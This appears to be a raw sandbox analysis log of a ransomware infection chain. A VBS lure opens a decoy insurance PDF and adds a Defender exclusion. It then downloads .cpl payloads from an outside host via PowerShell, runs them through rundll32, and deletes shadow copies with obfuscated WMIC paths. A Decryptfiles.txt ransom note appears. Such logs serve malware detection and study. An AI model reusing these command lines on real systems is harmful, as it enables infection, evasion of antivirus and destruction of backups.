Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5748:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwd53kjb.d2u.ps1Jump to behavior
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs"
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\control.exe control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: unknownProcess created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\control.exe control C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.shell.servicehostbuilder.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ieframe.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mlang.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
